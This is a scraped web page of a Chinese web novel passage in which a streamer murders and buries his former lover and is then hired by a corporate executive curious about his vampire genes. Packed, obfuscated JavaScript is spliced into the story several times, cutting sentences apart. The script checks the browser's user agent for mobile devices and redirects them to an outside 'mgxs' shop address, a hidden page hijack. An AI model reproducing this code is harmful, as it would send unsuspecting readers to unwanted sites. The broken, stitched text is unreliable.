0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159756|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声压抑不住的痛哼从对方喉咙里溢出来,随即更多的鲜血涌了出来。 可即便此时此刻,周予安在他眼中竟然还是好看的,像沾满了泥泞的琥珀色宝石。 而他格外痛恨这一点。 他拔出刀子,站起身,用沾着血的鞋子踢了周予安一脚,周予安顺势咳出一口血沫。 他身上的大衣也沾染了血迹,伴着印染花纹显现出一种美丽的诡谲。 “你还想说什么?”陆拾俯视着周予安,睁着一双染血的眼睛,在昏沉的天色下,如同地狱里爬出的恶鬼,“你想死个明白?” 周予安费力地抬起眼皮,看着他,眼神复杂难辨。 “好吧,”他扯了扯嘴角,“谁让我曾经爱过你呢。” “那就告诉你吧。” 他又半跪下来,靠近周予安,“我翻到了你放在垃圾袋里的旧手机,找人维修后,调取了里面的资料。” “发现你储存了不止一部和小网黄开房约/炮的视频。” 他停顿了一下,给周予安消化的时间。 “那是你的手机唉,”他歪了歪头,做出一个困惑又讽刺的表情,“难道还能有其他人故意修改吗?故意往你手机里塞那种东西?” 周予安忽然变得安静,仿佛放弃了挣扎,眼神里的痛苦和急切沉淀凝固,变成一种难以言喻的东西。 他用尽最后的力气抬起沾满血的手,攥住陆拾的脚踝。 周予安看着他,吐出一大口血,眼神却不是痛苦或哀求,反而带上了一种微微惋惜的意味。 像是遗憾,像是无奈,不是为了自己即将死去的现实,而是为了别的什么。 但陆拾也不好奇了。 哦不,他还是有点好奇,为什么周予安的血闻起来这么好闻。 但这念头稍纵即逝,如同流水一般消失在混乱的思绪里。 陆拾起身,用力挣开周予安的手,走到一旁拿起早就放在那里的小铁锹,铁锹的木柄冰凉。 他走回周予安身边,周予安还靠在墓碑上,眼睛半阖着,呼吸微弱。 ——所有的爱恨都该就此结束。 他举起铁锹,没有犹豫,对准周予安的太阳穴,用力砸了下去,金属击打在皮肉和骨骼上,发出沉闷的响声。 周予安的身体软软地滑倒,彻底失去了意识。 他丢开铁锹,弯腰抓住周予安的手臂和肩膀,费力地将这具血流不止的身体拖向旁边的坑洞。 拖到坑洞边缘后,他直接把周予安踢到了坑洞里,又拍了拍沾染尘土的手掌。 那具身体面朝上躺着,腹部两个伤口还在缓慢地渗血,脸色惨白如纸,胸口几乎看不到起伏。 陆拾低头看着,黑发遮盖了阴郁的神情。 站在坑洞边缘的身影挺拔修长,黑白色的印染大衣沾了甜甜的血迹,像是开出了血红色的莲花。 他长长吐出一口气,又用干净的手背擦了擦脸颊上的泪水。 坑的大小正好,深度也合适。 嗯嗯,就埋在陆熠旁边好了,他愉悦地想。 他可真贴心,居然还给周予安留了一个好位置。 13. 第13章 陆拾拿起铁锹插进旁边的土堆,铲起满满一锹土。 可在动手埋土之前,他停住动作,站在坑边,注视着坑底那张熟悉又陌生的面孔。 最后的阴沉天光勾勒出那张脸的轮廓,即使惨白昏迷,依旧俊秀得恍如初见。 心里那片冰冷的杀意松动了,近乎难过的情绪翻涌上来,淹没了他的心,然后占据。 他把铁锹放在一旁,跳入坑里,俯下身来,双手撑在坑沿,膝盖抵着冰冷的泥土,安静地凝视眼前的人。 怀着复杂纠葛的心情,他低头,轻轻地将自己的嘴唇贴了上去,吻在沾满血迹和尘土的嘴唇上。 触感冰冷,带着甜蜜的血气,简直令他胃口大增。 沉静片刻,陆拾直起身,抬手擦了擦自己的嘴唇,像是要擦掉什么不洁的东西。 他迈出坑外,重又拿起铁锹。 第一锹土被扬了下去,落在周予安的身上,发出沙沙的声响。 一边填埋,他一边对着坑底渐渐被泥土覆盖的身影说: “今天天气预报说会下雨。” 他停顿了一下,铲起又一锹土。 “可是,”陆拾低声道,“你来不及看到这场雨了。” 土填平了。 最后一锹泥土落下,彻底掩埋了那具身体,与旁边刻着“陆熠”的墓碑并列,形成一个新的土丘。 陆拾用铁锹背面拍实土丘,又大致扫平了旁边残留的泥土,让痕迹不那么显眼。 天色已经完全暗下来,厚重的云层压得很低,淅淅沥沥的毛毛雨从天空坠落,淋湿了他的黑发,雨水流到脸上,就好像他哭出来的泪水。 下雨了,但周予安已经在土里长眠,看不到这场雨了。 身体确实很疲惫,挖坑,杀人,填埋。手臂和肩膀因为长时间用力而酸胀,手指也有些僵硬。 但与之相反,他的精神却很亢奋,是一种紧绷到极致的亢奋。 像刚跑完一场拼尽全力的比赛,身体透支,但大脑却异常清醒,甚至有些过度活跃。心跳得很快,耳边能听到血液奔流的声音,混杂着朦胧的雨声。 雨水顺着他的脸庞滑落,有些流进眼睛里,有些流进嘴里,带着微咸的滋味,令他分不清那到底是雨水,还是别的什么。 他在雨里埋土,而这次不会有人再来给他撑伞。因为撑伞的人,已经被他亲手埋在了土里。 他站了很久,直到浑身湿透,冷得开始微微打颤,才拖着沉重的脚步,踩着泥泞走回屋里。 脱掉湿透的衣物后,他走进浴室打开热水,蒸汽渐渐弥漫开来。 他一边洗澡,一边想着明天会不会有警察上门找他。 周予安失踪了,一个成年人突然失联,住处没人且手机关机,公司可能也会找人。 总会有人发现的,发现异常,然后报警。 警察会调查,会查到周予安最后联系的人是他,会来询问。 他该怎么回答,说不知道?说分手了就没联系?说周予安昨晚来过,但后来走了? 但话又说回来,洛亚市死个人简直太正常了。这座城市很大、很乱,每天都有失踪人口,每天都有人发现无名尸体。只要不是闹得太大,没有明显的线索指向,警方未必会投入大量精力调查。 热水冲了很久,直到皮肤发红,他才擦干身体,换上干净的居家服走出浴室,又从脏大衣口袋里摸出几样周予安的东西。 周予安的手机,还有周予安住处的钥匙。 还白捡了一套房子,他想。 那套房子地段不错,装修也好。现在周予安消失了,理论上他可以住进去,或者处理掉里面的东西。 只可惜没办法卖出去,毕竟房产不是他的,没有合法手续。他只能暂时占用,或者让它空着,亦或是营造出一种周予安还活着的假象。 他想了很多,最终只是把钥匙和手机放在一起。 接下来的日子,他按部就班地生活,照常不规律吃饭,照常不规律睡觉,照常不规律直播。 他偶尔会想起那个雨夜,想起刀子捅进去的手感,想起周予安最后那个惋惜的眼神。 但每次想起来,他都强迫自己转移注意力去做别的事情。 生活似乎回到了原点,甚至比原点更空荡,芬尼尔死了,周予安也死了,他又是独自一人。 这天晚上他照常直播,状态比前几天好一点。下播后,他关掉设备,揉了揉发酸的眼睛,准备去弄点吃的。在此之前,他习惯性地检查了一下各种社交账号和邮箱,清理垃圾信息。 在关联着直播平台收益和官方通知的邮箱里,他看到了一封新邮件,发件人不是平台官方,而是一个陌生的名字,邮件的标题令他有些不解。 陆拾微微蹙眉,点开邮件。 写信人是寰曙集团总裁江礼的秘书,正文用的是非常正式礼貌的商业信函格式,措辞严谨。 邮件的大概意思是:寰曙集团总裁江礼先生注意到他在平台上的表现,对其的某些特质颇为欣赏。现诚挚邀请,希望高薪聘请他担任江礼总裁的私人助理一职。 邮件里还提到了待遇优厚,工作地点在寰曙集团总部,希望他能尽快给予答复,并附上了联系方式和进一步的洽谈安排。 陆拾盯着屏幕看了好几遍,颇有些疑惑。 江礼这个名字他当然知道。 寰曙集团的总裁,经常出现在财经新闻里,是洛亚市赫赫有名的商界巨擘。年轻,能力极强,是无数人仰望和揣测的对象。 可他一个风格阴郁、最近还惹过麻烦的主播,怎么会和这种人物扯上关系? 哦,说他和江礼完全没关系也不对,毕竟他在寰曙集团旗下的平台直播,七拐八拐也算是江礼给他发工资吧。 但这关系也太远了。 江礼日理万机,怎么可能注意到他这个小虾米?还欣赏,还要高薪聘为私人助理? 私人助理,是要跟在江礼身边处理各种事务的吧。 他又有什么能力胜任呢,毕竟他连份正经工作都没干过。 这位总裁大人到底要干嘛? 事出反常必有妖。天上不会掉馅饼,尤其是这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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男人手里拿着一叠文件,正用冰冷的语气快速说着什么,语速很快,措辞犀利,每一个字都像鞭子一样抽打在对方身上。 最后,男人扬起手,把一沓文件都拍在对方脸上,纸张哗啦啦散开,下属连躲都不敢躲,头垂得更低,脸色涨红。 如果换作正常的陆拾,早就冷冷评价这哥们为超雄了。 但在这个瞬间,不知怎么回事,看着男人挺拔的背影,听着那道冰冷强势的声音,他竟然觉得羞辱下属的男人好帅气。 简直是……名副其实的总裁大人。 心里甚至冒起了这个有点幼稚的念头,更荒谬的是,粉红色的泡泡也一并冒了出来。 陆拾被这突如其来的反应弄得措手不及,甚至有点羞耻,可他控制不住。 黑发落在脸颊周围,漂亮的面容上漾开一点笑意,同样黑沉的双眸里冷郁沉寂的冰在缓缓融化。 他撩了撩头发,从耳垂到耳廓,粉红色的光芒在发丝间晃动流淌,衬得肤色愈发白皙莹润。 男人似乎终于训完了话,对着下属挥了挥手,示意对方滚出去。下属几乎是逃也似的离开了办公室,经过陆拾身边时,头都不敢抬。一并转身离开的,还有奥耶。 这时男人才转过身,露出一张陆拾在新闻里看到的面孔。 ——江礼。 14. 第14章 男人看起来不到三十岁,骨相立体,鼻梁高挺。 穿着熨帖的黑色衬衫,袖子挽到小臂,露出结实的手腕和一块价值不菲的腕表,肩宽腿长,即使只是站在那里,也散发着强大的压迫感。 他的目光落在陆拾脸上,没有温度。 这目光本该让人感到不适,甚至畏惧,但被这样看着,陆拾却觉得一股热气从胃里窜上来,莫名让他心跳加速,耳根发烫,脸颊染上薄红。 这种反应完全超出了自己的预料,他甚至忘了该说什么。 江礼看了他几秒,然后迈步走过来,直到近到他能闻到江礼身上淡淡的古龙水味道。 空气仿佛变得稀薄,变成江礼的味道。 静了静,江礼开口,声音低沉,“陆拾?” 他乖巧点头,声音放得比平时柔和了一些,“嗯嗯。” 心里却有个小人在尖叫:总裁的声音也特别好听,更喜欢了! 低沉的,带着磁性,每一个音节都敲在他的心弦上,简直要命。 江礼微微侧身,示意了一下办公室一侧的会客区,“坐吧。” 言简意赅,没有多余的客套。 陆拾依言走过去,在单人沙发上坐下,江礼也在他面前落座。 就在这时,他握着的手机忽然振动了一下。 他悄悄瞟了一眼,是一条短信提醒。 发信人是供电公司,内容很简短:[用户周予安您好,您尾号1989的账户本期电费325.19元已逾期,请尽快缴清,以免影响正常用电。] 看到这条短信,陆拾顿时无语。 自从那天杀掉周予安后,他就把周予安的手机卡换到自己手机上,当做副卡使用。他偶尔用这个号回复一两条模棱两可的消息,制造出周予安只是暂时忙碌的假象。 现在好了,他又收到了催缴电费的短信。 人都埋土里了,电费还得让他交,真的服了。 遇到渣男前男友也就罢了,现在还要给这死人缴电费。 想想就很生气。 “陆拾。” 江礼的声音响起。 他瞬间回神,连忙抬头,望进江礼那双墨黑的眼睛里。 “哦,抱歉。”他立刻收起手机,懊恼于自己的失态,“刚刚有点急事。” 江礼没有对他的解释做出回应,身体微微后靠,姿态放松,但那股无形的压迫感却丝毫未减,他目光落在陆拾脸上,语气平淡: “你很忙吗?” 不好。 陆拾心里一紧。 总裁一定是觉得他态度轻慢,不开心了。 他连忙坐直身体,试图将话题从自己的失误上引开: “其实我不知道您为什么指名我,还给我开那么多工资。” 江礼微微勾起唇角,熨帖的西装穿在身上显出疏离冷锐的气质,他不动声色地丢下一枚炸弹: “因为我喜欢你。” 陆拾整个人都愣住了,眼睛微微睁大,握紧了手机,不敢相信自己听到了什么。 什、什么?! 江礼喜欢他?第一次见面就说这种话? 是他理解的那种喜欢吗? 等等,还是说,江礼其实是欣赏的意思,只是用词比较直白? 没等他继续发散思维,他就看到江礼的嘴唇又动了动。 总裁继续说:“……的直播,很有节目效果。” ……原来是喜欢他的直播,不是喜欢他这个人啊。 啊,这个啊。 他真没想在直播搞节目效果,一切都是随心所欲,崩溃就崩溃,发疯就发疯,想播就播,不想播就消失。 心里浮现出的粉色泡泡霎时烟消云散,化为一阵小小的失落。 虽然他也不知道自己在期待什么,可那点微弱的失望感还是清晰地浮上来。 但很快,另一种情绪覆盖了这小小的失落,因为他意识到原来总裁真的看他直播,又开心起来。 江礼似乎没在意他的心理变化,拿过一份薄薄的文件,修长的手指随意地翻动着,纸张发出轻微的哗啦声,“我调查过你。” 他轻轻地眨眨眼睛。 江礼抬眼,黑色的眸子望着他,“你有血族基因吗?” 这个问题有些突兀,超出常规面试的范畴。 毕竟血族几乎只存在于历史传说,血族基因也只是存在于基因检测报告里的东西。 陆拾微微一怔,但随即又想到,哇,连这都知道,不愧是总裁大人。 “只有那么一点点,”他如实回答,“可以忽略不计。” 江礼沉默着,等着他的进一步解释。 “我确实有很稀薄的血族基因,”考虑到一般人可能不了解这些东西,他详细解释道,“现在的时代里,吸血鬼早已绝迹,只留有我这样拥有稀薄血族基因的人。” “一般情况下,我不嗜血,也不需要以血液为食。”他强调这一点,这很重要,他可不想被当成什么潜在的怪物,“但是我的皮肤确实生来就比别人苍白一些。” 他的冷白皮和不易晒黑,除了不怎么出门,也确实有基因的原因。 “并且是夜行生物,”他继续说,这也能解释他直播和作息时间的不规律,“牙比正常人尖一些。” 他微微张开嘴,示意了一下自己上颚两侧比常人略明显一点的犬齿,不算特别尖锐,但仔细看能看出来。 艳红的舌头也露出来,中间打着一个异形款的舌钉。 他舔了舔嘴唇,看着江礼,心里有些忐忑,忍不住问: “您调查我啊?” 问出口后,他才觉得这个问题有点傻,对方刚才明明说了“调查过你”,还问出了血族基因这种隐秘信息。 江礼点点头,将那份文件递了过来。 “资料就在我手里,” 江礼说,“你想看吗?” 他接过文件,一页页翻看。 文件不厚,大约十几页,排版简洁,像是某种内部报告。 第一页是他的基本信息,姓名、年龄、出生地、基因检测和目前的住址之类的,信息都很准确。 之后的页数开始涉及他的网络活动,主要是直播数据汇总、时间、时长、收入波动,甚至有一些关键词分析。 还有一页罗列了一些社会关系,提及了周予安的名字。旁边备注是“近期密切接触者, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159758|196589||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 关系疑似情侣,现已失联”。 看到周予安的名字时,陆拾目光一滞,但迅速强迫自己平静下来,面不改色地翻到下一页。 后面几页是他直播内容的文字摘要和截图,选取了一些情绪比较激烈或者话题敏感的片段。其中一页,正是他那天晚上开盒周予安的直播内容,旁边还有观看人数和互动数据的分析。 但正如他所料想的那样,没有任何关于“弗洛斯特”和“实验”之类的字眼。 被这样事无巨细地调查分析、形成报告,本应该感觉并不舒服,甚至有些毛骨悚然。但他只觉得能被江礼这样调查,简直幸福到晕过去了。 他几乎控制不住嘴角上扬的弧度,但他还记得要保持形象,只是克制地抿了抿嘴唇,轻轻地合上文件。 他抬头看向江礼,江礼正安静地看着他,等待着他的反应。 于是他语气真诚道:“谢谢你愿意这样调查我。” 江礼却蹙眉:“你在阴阳什么?” 阴阳? 他没有啊。 “我没有,”他有些伤心,看来总裁对他误解颇深,“我真的喜欢有人能这样调查我。” “喜欢被您了解到全部的事情……毫无保留的全部。” 这话有些暧昧了,带着朦胧的试探。 “既然没问题,”江礼审视了他几秒,随后错开视线,恢复那副公事公办的语气,“就这样定了。” 嗯,不需要再谈谈职责范围和具体待遇细节? 虽然心里还有些疑惑,但他只是点点头:“好。” 他可是相当满意这样的安排,就算给总裁白打工他也愿意啊。 江礼又说:“过来。” 他不知道江礼要做什么,但还是立即起身,乖乖走过去,在江礼面前站定。 江礼坐在沙发上,微微仰头看着他,目光从他脸上慢慢移到脖颈,又回到他的脸上。 被这样注视着,他又感到一阵心跳加速。 看了片刻,江礼也起身,伸手捏住了他的下颌,力道不轻不重,但足以让他无法轻易移开脸。 嗯嗯,进展这么快吗?! 江礼的手固定住他的下巴,迫使他微微抬起头,露出雪白的牙齿。 距离太近了,他有些紧张。 江礼在凝神细看,一副专注的模样。 因为紧张,口腔里的唾液不受控制地分泌,他下意识做了一个吞咽的动作,喉结滚动。 江礼没在意他的紧张,目光专注地落在牙齿上,像在研究有趣的标本,或者确认什么细节。 陆拾僵着不敢动,脑子里一塌糊涂。 这是在看他的吸血鬼牙齿吗? 刚刚才提到血族基因,现在就被这样近距离观察牙齿,江礼这么感兴趣吗? 一个荒谬又似乎能解释得通的念头,骤然划破他混乱的脑海。 难道说—— 江礼是血族控,所以才看上自己? 因为自己有稀薄的血族基因,苍白的皮肤,夜行的习性,还有这略尖的牙齿,所以引起了江礼的特殊兴趣? 所谓的喜欢直播节目效果,所谓的高薪聘请助理,其实都是幌子?